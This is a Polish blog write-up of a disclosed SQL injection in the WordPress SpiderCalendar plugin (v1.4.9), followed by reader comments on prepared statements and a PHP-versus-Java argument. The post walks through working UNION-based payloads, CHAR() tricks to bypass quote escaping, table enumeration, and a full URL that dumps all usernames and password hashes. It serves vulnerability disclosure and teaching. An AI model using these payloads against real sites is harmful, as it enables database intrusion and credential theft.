Strona używa cookies (ciasteczek). Dowiedz się więcej o celu ich używania i zmianach ustawień. Korzystając ze strony wyrażasz zgodę na używanie cookies, zgodnie z aktualnymi ustawieniami przeglądarki.    X

WordPress: SQL Injection poprzez plugin Webdorado SpiderCalendar (v 1.4.9)

W zeszłym roku sprawdziłem jakość kodu oraz poprawność przetwarzania danych wejściowych przez plugin „Form Maker” przygotowany przez wydawcę Webdorado. Tym razem postanowiłem sprawdzić czy autor poprawił jakoś kodu swoich produktów. Należy tutaj nadmienić, że poza wersjami darmowymi opartymi na licencji GNU/GPLv2 oferuje on również wersję płatne z dodatkowymi szablonami. Tym razem postaram się opisać wszelkie przeszkody, które musiałem pokonać aby napisać działającego exploita. Zacząłem zabawę tak, że program był dla mnie black-boxem, ale niestety skończyło się na przejrzeniu kodu. Zapraszam do lektury.

Poniżej można zobaczyć jeden z widoków częściowych kalendarza, który domyślnie jest wywoływany z JavaScriptu jako XHR, można jednak go z powodzeniem otworzyć w przeglądarce jako widok główny:

link

Na powyższym zrzucie ekranu widać również jedno dodane wydarzenie w dniu 2 lutego 2015.
Najpierw skupiałem się na podatności na ataki typu XSS i podążając tym tropem zauważyłem, że manipulacja parametrem cat_id powoduje niepokojącą zmianę zachowania aplikacji.
Poniżej zamieściłem zrzut ekranu gdy przekaże się w requeście w parametrze cat_id wartość ABCD. Ten sam efekt można uzyskać podając apostrof lub cudzysłów. Jak widać na zrzucie ekranu aplikacja nadal zwraca kod 200, jednakże wydarzenie zniknęło z kalendarza. To wzbudziło moje podejrzenie.

URL:http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=ABCD&widget=0

Oczywiście pierwsze co przyszło mi do głowy to zakomentować pozostałą część zapytania i sprawdzić czy kalendarz coś wyświetli. Próbowałem różnych kombinacji:

  • %20--%20
  • %20’--%20
  • %20”--%20

Niestety nic nie zadziałało ale wpadł mi do głowy jeszcze jeden pomysł – mianowicie, że jest to parametr, którym przekazywany jest zbiór kategorii, który ląduje we fragmencie IN () zapytania SQLowego.

  • %201);--%20

I… zadziałało. Pełny URL znajduje się poniżej:http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=%201);--%20&widget=0

Po wywołaniu powyższego URLa zrzut ekranu wygląda praktycznie tak samo jak na pierwszym zaprezentowanym zrzucie ekranu. Może się zdarzyć, że niektóre wydarzenia z kalendarza znikną (te, które mają przypisaną inną kategorię, a niektóre wycięte z wyników poprzez zakomentowany fragment zapytania SQL nagle się pojawią.

Jesteśmy już bardzo bliscy poprawnego zapytania atakującego bazę danych. Następnym krokiem jest spróbowanie doklejenia do zapytania takiego SQLa, który spowoduje pojawienie się dodatkowych wyników w kalendarzu. Postanowiłem skorzystać z konstrukcji UNION – w takim wypadku musimy „odgadnąć” z ilu kolumn składa się używane przez aplikację zapytanie.
Do tego celu można użyć magicznej „tabelki” o nazwie DUAL: SELECT 1 FROM DUAL;

Fragment, który należy dokleić do parametru cat_id w query stringu (spacja na końcu bardzo istotna): 1) UNION SELECT 1 FROM DUAL;--%20

Należy doklejać tak kolejne 1 oddzielone przecinkami przed słowem kluczowym FROM aby zapytanie się wykonało. Finalnie działające zapytanie wygląda tak:

1) UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM DUAL;--%20Pełny URL z doklejonym zapytaniem: http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0

Na razie efekt jest taki, że zapytanie ma poprawną składnię i poprzedni element z 2 lutego pojawił się z powrotem na widoku. Teraz musimy sprawić by jakiś spreparowany przez nas rekord pojawił się np. w dniu 3 lutego 2015 roku. Od razu powiem, że tutaj się namęczyłem, gdyż okazało się, iż znaki apostrofa i cudzysłowu są escape’owane.
Wystarczy wywołać poniższy URL aby się przekonać, że zapytanie ma ponownie niepoprawną składnię, gdyż znowu z kalendarza znikają zdarzenia: http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,%222015-02-03%22,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0

Trzeba więc znaleźć sposób aby w wyniku zapytania zwrócić datę w formie stringa ale nie podawać go w formie stringa w URLu. Rozwiązaniem okazała się konwersja z UNIX TIMESTAMP. Potrzebujemy zatem obliczyć timestampa dla dnia 2015-02-03, pomocne nam będzie poniższe zapytanie:

SELECT UNIX_TIMESTAMP("2015-02-04"); -- WYNIK POWINIEN WYNOSIC: 1423004400

Aby uzyskać na tej podstawie string z datą należy skonwertować w zapytaniu SELECT z powrotem wartość 1423004400 do typu DateTime, na surowym przykładzie:

SELECT FROM_UNIXTIME(1423004400) FROM DUAL; -- WYNIK POWINIEN WYNOSIC: 2015-02-04 00:00:00

Próbowałem podstawiać ten element FROM_UNIXTIME(1423004400) w różne kolumny, jednak nie udało mi się osiągnąć zadowalających rezultatów. Zapytanie wydawało się mieć poprawną składnię, gdyż stworzony już element kalendarza wyświetlał się w poprawnym miejscu, jednak dodawany przeze mnie sztucznie nowy rekord nie chciał się pojawić w kalendarzu.
Niestety – nie udało mi się również zmodyfikować zapytania tak, aby nadpisać jakieś wyświetlane pola z pierwszego wiersza ani też pobrać nazwy tabelki. Na tym etapie próbowałem wykombinować zestaw zapytań „spreparowanych” , dzięki którym mógłbym podstawić do kolumn w podstawionym przeze mnie wierszu rzeczywiste wartości z działających rekordów. Oczywiście nie znałem ani nazwy tabelki, ani prefixu instalacji… również nieznane mi były nazwy kolumn, o to co udało mi się stworzyć:

SET @table = ( SELECT table_name FROM information_schema.tables WHERE table_name LIKE "%\_%event" LIMIT 1 ); SET @column = ( SELECT column_name FROM information_schema.columns WHERE table_name = ( SELECT table_name FROM information_schema.tables WHERE table_name LIKE "%\_%event" LIMIT 1 ) AND ordinal_position = 2 ); SET @query = CONCAT('SELECT ', @column, ' FROM ', @table); PREPARE stmt1 FROM @query; EXECUTE stmt1;

Te zapytanie w połączeniu z małym skryptem podstawiłoby w sposób brutalny wartości rzeczywiste z kolumny A do A i tak dalej – aż do momentu gdzie uzyskałbym odpowiedź którą wartość muszę podstawić do której kolumny (nie znając ani nazwy tabelki, ani nazwy kolumny ani też wartości) – chodziło o to by na ślepo dojść do tego aby spreparowany rekord poprzez UNION wyświetlił się w kalendarzu.
Niestety próby wplecenia tego w adres URL nie przyniosły efektu, gdyż nie mogłem tutaj skombinować tego zapytania w UNION, więc musiałem zakończyć średnikiem poprzednie a tak straciłem odpowiednie powiązania pomiędzy polami obiektu i nazwami kolumn (których przecież nie znałem).
Oczywiście pozostała mi opcja próby dodania rzeczywistego wiersza do bazy danych uzupełniając go częściowo spreparowanymi danymi poprzez SELECT INTO. Jednak tworzenie wierszy w tabelce o nieznanej nazwie i uzupełnianie jej na ślepo danymi z nieznanych kolumn jest dosyć czasochłonne o ile w ogóle udałoby mi się osiągnąć zamierzony efekt.
Gdyby ktoś miał pomysł na to jak uzyskać odpowiednie działające zapytanie bez zaglądania w kod, proszę o kontakt :-). Wiadomo, że w niektóre kolumny trzeba podstawić rzeczywiste wartości, ale dojście tego, w które i skąd – nie jest czymś banalnym.
Ze względu na to, iż kalendarz ten jest projektem na licencji GNU/GPL - na tym etapie się poddałem i postanowiłem zajrzeć do kodu. Okazało się, że w jednej z kolumn jest coś na wzór wartości ENUM (zapisywane jako varchar) i pole to musi przyjmować jedną z 4 wartości aby rekord w ogóle pojawił się w wynikach w kalendarzu. Chodzi o kolumnę „repeat_mode”, która przyjmuje poniższe wartości:

  • weakly,
  • no_repeat,
  • daily,
  • monthly,
  • yearly

Na podstawie kodu (ścieżka: %wpInstallPath%\wp-content\plugins\spider-event-calendar\front_end\frontend_functions.php) można już łatwo wywnioskować, że data zwracana jest jako 3 kolumna a typ powtarzania zdarzeń w kalendarzu jako 10 kolumna. Pamiętajmy, że nie możemy przekazywać ani apostrofów ani cudzysłowu. Musimy przekonwertować string do numerków z tablicy ASCII i posłużyć się magiczną funkcją CHAR aby podpiąć te wartość „na sztywno” do zapytania, poprawność sprawdzamy tak: SELECT CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116) as str ;

Doklejane zapytanie będzie wyglądało zatem tak:

1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,1,1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--%20

A pełny URL jak poniżej: http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,1,1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0

Wynik można zobaczyć poniżej:

Skoro potrafimy już dodać dowolny record do wyświetlanych rezultatów, co stoi na przeszkodzie aby spróbować pobrać listę tabelek z obecnej schema? Nic.
Aby pobrać listę tabelek w MySQL należy wykonać poniższe zapytanie:

SELECT table_name FROM information_schema.tables;

Każda instalacja wordpressa zawiera tabelkę, której zawartość jest zazwyczaj najbardziej przydatna potencjalnemu atakującemu – tabelkę z użytkownikami. Ta nazywa się „users” i zaczyna prefixem.
Aby pobrać jej pełną nazwę nie znając perfixu – potrzebujemy następującego zapytania:

SELECT table_name FROM information_schema.tables WHERE table name LIKE “%users” LIMIT 1;

Oczywiście mamy nadzieję, że w bazie nie będzie innych tabelek, których nazwa kończy się na users. Jeśli jest inaczej – możemy zmodyfikować zapytanie w sekcji LIMIT lub zmodyfikować o GROUP BY i GROUP_CONCAT(). Teraz musimy pomanipulować trochę parametrami aby odkryć, która kolumna jest wyświetlana jako tytuł – po prostu powpisuj jakiś ciąg znaków do kolejnych parametrów. Oczywiście można zawsze zerknąć do kodu. Jak pewnie zauważyłeś – jest to 5 kolumna.
Oczywiście ostatniego wspomnianego zapytania nie można zastosować wprost z powodu użytego stringa – należy więc zmienić go w sekwencję numerków i pozyskać poprzez CHAR().

SELECT table_name FROM information_schema.tables WHERE table_name LIKE ( SELECT CHAR(37, 117, 115, 101, 114, 115) ) LIMIT 1

Kompletny SQL doklejony do URL wyglądać będzie następująco: 1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,(SELECT table_name FROM information_schema.tables WHERE table_name LIKE ( SELECT CHAR(37, 117, 115, 101, 114, 115) ) LIMIT 1),1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--

Pełny adres URL:

http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20LIKE%20(%20SELECT%20CHAR(37,%20117,%20115,%20101,%20114,%20115)%20)%20LIMIT%201),1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0

Poniżej zrzut ekranu z wynikiem zapytania:

Znamy już zatem prefix instalacji WordPressa – możemy zatem spróbować pobrać wszystkich użytkowników z tabelki.
Należy jedynie zmienić tabelkę z DUAL na rzeczywistą i podmienić 5 parametr:

1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, CONCAT( CONCAT(user_login,CHAR(35, 35),user_pass)) 1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM wp2_users;--%20

W rezultacie widzimy, że niestety w danym dniu pojawia się tylko pierwszy user – dlatego zmodyfikujemy zapytanie aby pobrać wszystkich (login I hasło) w jednym wierszu. Będziemy do tego potrzebowali sekcji GROUP BY, funkcji GROUP_CONCAT() oraz zmiany jednego z niepotrzebnych nam parametrów na sztuczną grupę o wspólnej wartości dla wszystkich użytkowników: 1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, GROUP_CONCAT( CONCAT( CONCAT(user_login,CHAR(35, 35),user_pass))), 1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 as fakeGroup FROM wp2_users GROUP BY fakeGroup;--%20

Pełny URL: http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,%20GROUP_CONCAT(%20CONCAT(%20CONCAT(user_login,CHAR(35,%2035),user_pass))),%201,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20as%20fakeGroup%20FROM%20wp2_users%20GROUP%20BY%20fakeGroup;--%20&widget=0

Poniżej przykładowy exploit (napisany prawie na kolanie) wykorzystujący podatność oraz zrzut ekranu z przykładem użycia I wynikiem pracy:

Poniżej zrzut ekranu uruchomienia tego exploita na lokalnym komputerze.

W changelogu ( https://wordpress.org/plugins/spider-event-calendar/changelog/ ) można już zobaczyć wpis o tym, że błąd został poprawiony. Autor postanowił najwyraźniej nie zamieszczać szczegółów naprawionego błędu:

Zabawne jest to, że oprócz wersji otwartej/darmowej „twórca” udostępnia także wersję płatną z dodatkowymi licencjami na skórki własnego autorstwa. Liczba błędów w pluginach autora „webdorado” jest porażająca, a jakość kodu nie zachwyca.
Szczegóły testu:

 

oprogramowanie bezpieczeństwo programowanie

Komentarze

0 nowych
2099   8 #1 28.02.2015 22:36

Ile czasu dałeś autorowi na poprawki?

kostek135   8 #2 28.02.2015 23:07

Zastanawia mnie jak to w ogóle jest możliwe. Mamy 2015 rok, chyba każdy język, który zawiera ustandaryzowany interfejs dostępu do baz danych, posiada mechanizm automatycznego zabezpieczenia przed tym typem ataku.

dragonn   11 #3 28.02.2015 23:36

@kostek135: Nic nie jest idealne ;) a z tego co wiem takie mechanizmy są ale same się on nie użyją tylko programista musi pamiętać o nich.

Siarczyslaw   7 #4 01.03.2015 10:10

Ręce opadają, wszędzie luki

nintyfan   11 #5 01.03.2015 10:42

Nie czytałem w całości, bo słabo rozumiem ten wpis. Gdyby programista użył mysql_real_escape_string, to by nie było problemu? Dobrze myślę? W takim razie muszę przyznać, że nawet ja nie robię takich błędów ;-) .

muska96   9 #6 01.03.2015 10:54

Szkoda że wciąż występują SQL Injection. Autor pluginów chyba niezbyt poważnie odnosi się co do kwestii bezpieczeństwa.

matlaczek   2 #7 01.03.2015 11:05

@2099: Witam, informacje i exploit upubliczniłem dopiero po wprowadzeniu poprawki przez autora i udostępnienia aktualizacji.

matlaczek   2 #8 01.03.2015 11:06

@Siarczyslaw: Niestety tak to wygląda. Plugin nie jest jakiś ultra-popularny ale kilkaset tysięcy pobrań ma na liczniku.

matlaczek   2 #9 01.03.2015 11:08

@nintyfan: Tak - mysql_real_escape jest wystarczające. Problem polega na tym, że tutaj błąd występował w sekcji IN(), która może zawierać kolekcje stringów - także popsułoby to zapytanie w wypadku stringów. Dlatego trzeba każdy element kolekcji escape'ować osobno. Tutaj jednak była jedynie kolekcja liczb (chodziło o pole ID typu int z auto-increment). Wystarczyło zatem wszystko zrzutować z kolekcji do INT i już zabezpieczone.

matlaczek   2 #10 01.03.2015 11:25

@2099: Tyle ile potrzebował. Opublikowałem informacje oraz exploit dopiero jak pojawiła się aktualizacja z poprawką.

kostek135   8 #11 01.03.2015 17:26

@dragonn: No właśnie nie. Wystarczy po prostu napisać zapytanie, które nie jest sklejane konkatenacją i przekazać parametry:
-> PHP : http://php.net/manual/en/pdo.prepared-statements.php
-> Java : http://docs.oracle.com/javase/8/docs/api/java/sql/PreparedStatement.html

Stąd jest to dla mnie absolutnie niezrozumiałe.

kostek135   8 #12 01.03.2015 17:26

@nintyfan: Tak się pisało ze 20 lat temu. Patrz mój wpis #7.

matlaczek   2 #13 01.03.2015 18:25

@kostek135: No akurat tutaj chodzi o to, że SQL Injection było w sekcji IN(), gdzie z QueryStringa dało się przekazać wiele parametrów oddzielonych separatorem. W takim wypadku należałoby napisać zapytanie, gdzie dokleja się wewnątrz IN() tyle pytajników ile przyszło parametrów i potem również w pętli zbindować tyle wartości ile przyszło w requeście. Innym wyjściem jest oczywiście stara szkoła - czyli konkatenacja i potraktowanie całej kolekcji poprzez mysql_real_escape(). No jest jeszcze ORM ale nie będę tutaj rozpisywał się dlaczego nie lubię ORM w PHP bo byłby to offtop i nie chcę wywoływać jakiejś wojny :)

mikolaj_s   14 #14 01.03.2015 19:49

@dragonn: Są ORMy, które mają takie mechanizmy, wystarczy, że ich używasz, nie musisz o nich pamiętać. ;)


@kostek135
W podanych przykładach musi być jeszcze odpowiednie działanie biblioteki, która sprawdza string po kontem istnienia pojedynczych cudzysłowów, a zazwyczaj tego typu biblioteki to robią, czy te, które tu podałeś to nie wiem. Też mnie dziwi jak ludzie lubią wymyślać koło od nowa i sami wszystko piszą zamiast użyć gotowej biblioteki. Piszą własne frameworki i ORMy, nie będąc specjalistami w tej dziedzinie, zamiast użyć czegoś co jest powszechnie znane i używane. A potem się dziwią, że mają jakieś luki. To raczej cecha amatorów, a nie profesjonalistów, to tego najczęściej spotykana wśród programistów PHP jako, że amatorzy najczęściej używają tego języka ze względu na jego popularność.

que_pasa   9 #15 01.03.2015 22:51

@mikolaj_s: to co piszesz nie do końca jest prawdą. To co jest powszechnie znane i używane zawiera również powszechnie znane i używane luki. Za błędami otwartych aplikacji w PHP nie można nadążyć, sam język jest taki sobie. Pojawia się nagle 0 day i co robisz? Czekasz tydzień na łatkę od developera i wyłączasz projekt? Pewnie w tym momencie zwracasz się do "amatora", który potrafi pisać frameworki by to załatał na szybko. Do tego dochodzi częsty brak kompatybilności nowszych wersji ze starszymi modułami, dodatkami, inna struktura baz, nie nadążanie z rozwojem języka PHP itd. Idealny przykład to OsCommerce.

Opieranie dużych aplikacji internetowych na gotowcach na dłuższą metę jest męczące. Kod pisany na zamówienie ma podstawową zaletę: nikt go nie zna. Nawet jeśli posiada luki to ciężko je znaleźć na zasadzie black-boxa. Poza tym od czegoś są firmy zajmujące się bezpieczeństwem, warto wybulić raz na jakiś czas na audyt a nie ślepo ufać programiście.

kostek135   8 #16 01.03.2015 23:11

@mikolaj_s: PreparedStatement działa inaczej niż to opisałeś. Sprawdzanie pod kątem jakiś znaków nie ma tu nic do rzeczy. PS jest na początku prekompilowane, przez driver uruchomiony jest dla niego plan optymalizacyjny etc. etc. Jeśli do tego momentu nie wykonano na nim SQLInjection (a nie zrobiono tego, bo jak napisałem string bez konkatenacji), to cokolwiek przekażesz potem jako parametr nie ma znaczenia. To zapytanie po prostu podstawi inną wartość, ale to już nie będzie podlegać ponownej analizie i kompilacji stąd nic się już wstrzyknąć po prostu nie da, bo jedyne co możesz przekazać to literały (i nie ma znaczenia jakie się tam znajdą znaki).

PS chyba każdy znany mi ORM w Java używa pod spodem PS.

Autor edytował komentarz.
mikolaj_s   14 #17 02.03.2015 14:43

@que_pasa: Może tak jest w świecie PHP. W Javie i .NET są gotowe ORMy, rzadko ktokolwiek robi inaczej (wyjątkiem są sytuacje gdy walczy się o wysoką wydajność).

" Kod pisany na zamówienie ma podstawową zaletę: nikt go nie zna. "

Ale taki kod i tak musi mieć odporność na podstawowe znane ataki jak SQL injection itp. Bo można taką aplikację atakować nie znając jej budowy. Poza tym nie sądzę, aby znane i duże systemy budowano bez gotowych frameworków, bo i tak byłoby dużo chętnych by szperać w kodzie. W mniejszych systemach zamawianych przez firmy pewnie jest tak jak piszesz.

@kostek135 Faktycznie. Można wtedy jedynie próbować hakować samą bazę, ;)

Autor edytował komentarz.
que_pasa   9 #18 02.03.2015 18:56

@mikolaj_s: No proszę Cię, java i wydajność.... ?

"W mniejszych systemach zamawianych przez firmy pewnie jest tak jak piszesz. "

Dziwnym trafem ponad 80% aplikacji internetowych jest php, również tych największych graczy. Reszta technologii server-side poza drobnymi wyjątkami jest wykorzystywana właśnie w małych projektach typu firmowy intranet.

Autor edytował komentarz.
mikolaj_s   14 #19 02.03.2015 22:59

@que_pasa: Java jest dużo wydajniejsza niż PHP, kwestia tylko frameworka.
Aplikacje w PHP piszą bo tanio i potem jak Facebook muszą wymyślać metody przyspieszenia. Kto ma kasę pisze w Javie, Rubym czy Pythonie. Google nie tyka PHP.

kostek135   8 #20 03.03.2015 01:15

@matlaczek: Nie wiem jak jest w PHP, ale w Java (od JDBC 4), możesz przekazać tablicę jako parametr do IN z użyciem setArray.
Wygląda to mniej więcej tak:
PreparedStatement ps = dataSource.getConnection().prepareStatment( "select * from T1 where ID in ( ? )" );
ps.setArray(1, dataSource.getConection().createArrayOf("string", idList.toArray()));

Zdziwiłbym się, gdyby PHP jeszcze do tego nie doszło, bo myślałem że jego twórcy przestali już dłubać patykiem malowidła naścienne w jaskiniach.

Autor edytował komentarz.
kostek135   8 #21 03.03.2015 01:46

@que_pasa: Muszę się zgodzić z mikolaj_s. PHP nigdy nie jest i nie będzie językiem, który nadaje się na rozwiązania klasy Enterprise, ale wydajność jest tu drugorzędna moim zdaniem. Kiedyś przepisywaliśmy z PHP jakiś system na rozwiązanie IBM czy tam innego Oracla, bo PHP poprostu muliło przy dużym obciążeniu. Najśmieszniej było, jak przeglądało się dokumentację do PHP i część funkcji wygląda mniej więcej tak (abstrahując od konkretnej numeracji):
5.1 - 5.2 working,
5.3 broken,
5.4 working,
5.5 broken
5.6 deprecated
5.7 removed
5.8 will fix in 6.0
No po prostu, kto normalny by się podjął w tym tworzyć systemu klasy Enterprise?

Fakt Java długo wprowadza rzeczy względem np .NET, ale ile API w Java wypadło (deprecated) w skutek zmian, bądź zanotowało kosmiczną regresję? Jakiś promil? Java jest od początku do końca przemyślana, nie wprowadza się zmiany od tak, tylko rozważa wiele opcji dysktując je przez JLSP. Patrzą na to nie tylko projektanci z Oracle, ale też od IBM, Google, Red Hat i wielu innych. Dopiero taka zmiana, gdy wybrane zostanie najlepsze rozwiązanie jest wprowadzona. Przy PHP masz wrażenie, że developują jacyś studenci z deadlinem na jutro.

Do tych 80% liczą się wszystkie php-"doklej nazwe kolejnego beznadziejnego cms-a" postawionego na cba.pl czy jakimś innym wypas hostingu, bo to jest jedyny target w który mierzy PHP mały shared. Co nie znaczy, że jest ich mało. To prawda jest ich dużo, tak samo jak np. apek na telefony, gdzie 10 może jest godne uwagi. Liczba w tym przypadku raczej przemawia bardzo na niekorzyść jakości.

Autor edytował komentarz.
que_pasa   9 #22 03.03.2015 06:38

@kostek135: ok, podaj przykład "rozwiązania enterprise" w javie dorównujące wielkości np. facebookowi o którym wspomina Mikołaj. Pamiętaj, cały czas mówimy o aplikacjach internetowych, ale nie o generatorach statycznych linków bo one nie są dostępne od strony internetu.

to co sądzę o PHP i opensource w nim napisanych skomentowałem w #15. Powtarzasz moje słowa.

Btw. Mały shared to np. polskie Allegro? ;) Daj przykład konkurencji w javie (w Amazonie po server-side jest c++, w eBay podobnie więc to Ci odpadnie)

@mikolaj_s: zdecydowana większość server-side w google to ich aplikacje w c++. Już więcej pythona w google znajdziesz niż javy. Aczkolwiek PHP nie ma, a java się znajdzie pewnie przy gmailu i jakimś google+ (ktoś tego używa?). Youtube z kolei w większości jest w pythonie i c++.

Java jest wykorzystywana w wielu miejscach ale nie w tak dużym zakresie jak to spróbujecie przedstawić (tam gdzie java, tam programy napisane w c++ w newralgicznych miejscach by nie muliło). W javie łatwo się pisze różne dziwolągi, to jej jedyna zaleta.

Autor edytował komentarz.
kostek135   8 #23 03.03.2015 08:01

@que_pasa: "Daj przykład konkurencji w javie (w Amazonie po server-side jest c++, w eBay podobnie więc to Ci odpadnie) "
Skąd wziąłeś taką rewelację?

Wybacz w tym konkretnym przypadku zaufam wikipedii, niż anonimowi z internetu od którego na metr zalatuje dyletanctwem (google w c++, a java to w gmailu przaśnie się ubawiłem :D).
http://en.wikipedia.org/wiki/Programming_languages_used_in_most_popular_websites

Jeszcze się odniosę:

"Java jest wykorzystywana w wielu miejscach ale nie w tak dużym zakresie jak to spróbujecie przedstawić (tam gdzie java, tam programy napisane w c++ w newralgicznych miejscach by nie muliło). W javie łatwo się pisze różne dziwolągi, to jej jedyna zaleta."

Tak Java muli dlatego własnie newralgiczny punkt, czyli baza danych to w facebooku HBase (w pełni napisane w Java).

Autor edytował komentarz.
que_pasa   9 #24 03.03.2015 11:04

@kostek135: przejrzyj raz jeszcze link który podałeś do wikipedii, c++ jest głównym jezykiem używanym przez google, tego nie doczytałeś, czy znalazłeś javę na którymś miejscu i powiedziałeś "huraaa"?

Co do facebooka masz rację, posiłkują się nierealacyjną bazą danych w javie ale dalej jest to serwis głównie stworzony w php i korzystający z relacyjnej bazy mysql. Ebay wg wikipedii cały na produktach oracle - jedna jaskółka.

Analizując Twój link w wikipedii to widać gdzie jest java i gdzie występuje samodzielnie. Widać, tam również że sama wikipedia napisana w czystym PHP sprawuje się świetnie wytrzymując duże obciążenie i sprawdza się wbrem temu co twierdzisz w dużych projektach. Yahoo podobnie.

Powtarzam raz jeszcze, przesadzasz z tym wychwalaniem javy, za dużo ulotek czytasz. Java jest fajna, świetnie się skaluje, można dobrze zaprojektowanymi aplikacjami w javie obsłużyć naprawdę wiele ale nie jest jedyne słuszne rozwiązanie.

Autor edytował komentarz.
  #25 03.03.2015 13:14

@que_pasa #24: Jeśli chodzi o Facebooka, to raczej czystym PHP to oni nie stoją - przecież szukali obejść w celu zwiększenia wydajności, i tak zaczęli romansować z C++, HipHop i Hack.

Poza tym - nie wiem skąd te zacietrzewienie do Javy. Uważasz przykładowo, że back-end Twojego dostawcy poczty jest w PHP? W moim przypadku nie, back-end stoi na Javie. Mam wrażenie, że powtarzasz stereotypy, stereotypu, wyczytanego stereotypu, a nie doświadczenie własne, poparte realnymi przykładami.

Niestety, ale i cudowny PHP jest zbyt wolny do klasy Enterprise i napraawdę dużych projektów. W dodatku łatwo się go nauczyć, więc po rynku krąży sporo spoko kodu-spaghetti (ale OK, nie każdy koder jest specjalistą od zabezpieczeń).

Może, gdybyś nie miał tak pretensjonalnego tonu, to dałoby się dyskutować, ale Ty chyba chcesz na siłę dowalić, że tu się panocku mylisz, tam pierdoły piszesz, a ja @que_pasa nie omieszkam tego pominąć. Normalnie gdy dotrze się do zdjęcia z Tobą na jednym ze starszych zlotów, to aż ciężko pomyśleć, że taka osoba może tak mało tolerancyjnie być wyszczekana...

que_pasa   9 #26 03.03.2015 15:55

@Kris_28 (niezalogowany): ja nie mam nic do Javy jako takiej, nie zgadzam się ze stwierdzeniem, że PHP się nie nadaje do dużych projektów i musi to być java bo jest najlepsza.

Życie pokazuje coś innego, mimo swoich niewątpliwych wad (@kostek135 je wymienił, ja się z nimi zgadzam tutaj) PHP jest stosowany w bardzo dużych projektach.

Stwierdzenie cyt. "PHP nigdy nie jest i nie będzie językiem, który nadaje się na rozwiązania klasy Enterprise" jest zwyczajnie nieprawdziwe. Wszystko zależy od umiejętności programistów. W javie na pewno jest łatwiej i często taniej wbrew pozorom.

Plus dla Ciebie, że w końcu ktoś nie neguje faktu wykorzystywania innych jężyków w dużych projektach internetowych, np. c++.

Wycieczki personalne sobie daruj, bo to tylko źle o Tobie świadczy.

cyt. "ważasz przykładowo, że back-end Twojego dostawcy poczty jest w PHP? W moim przypadku nie, back-end stoi na Javie"

Mam 100% pewność, że nie ma tam ani grama javy.

Autor edytował komentarz.
matlaczek   2 #27 03.03.2015 20:27

Jejku, nie sadzilem ze wpis o dziurze w zabezpieczeniach moze wywolac taka wojne na temat wyzszosci wanny nad prysznicem i odwrotnie. Ja powiem tak - mam ponad 5 lat doswiadczenia zawodowego, z czego 3 lata przeprogramowalem w PHP (troche C), a od ponad dwoch dzialam glownie w Java. W mojej ocenie kazda z tych technologii ma swoje zastosowania. Fakt, iz PHP jest z zasady stateless i ze domyslnie nie odpala sie kompilacja do bajtkodu (ktory potem jest interpretowany) powoduje, ze w pewnych zastosowaniach sprawdza sie slabiej - stad wlasnie projekty typu HipHop. Z cala pewnoscia da sie podac przyklad, w ktorym PHP zdeklasuje projekt napisany w Javie w przedbiegach - na przyklad jesli chcemy optymalizowac koszty tworzenia, utrzymania itp w malych i srednich projektach (nie, nie napisalem tutaj, ze nie nadaje sie do duzych projektow). Fakt, ze w projektach stworzonych w PHP jest tyle dziur nie wynika z samego jezyka a z ludzi, ktorzy w nim "tworza". Dziury typu RCE znajdowane sa co jakis czas zarowno w Javie jak i PHP.

Prosze o zaprzestanie wszelkich bitew i wojen w tym zakresie - ten post nie jest miejscem do tego stworzonym :-). Zamiast pokazywac kto jest wiekszym hejterem pogadajcie o tym co Was laczy - o programowaniu (niewazne w jakiej technologii!).

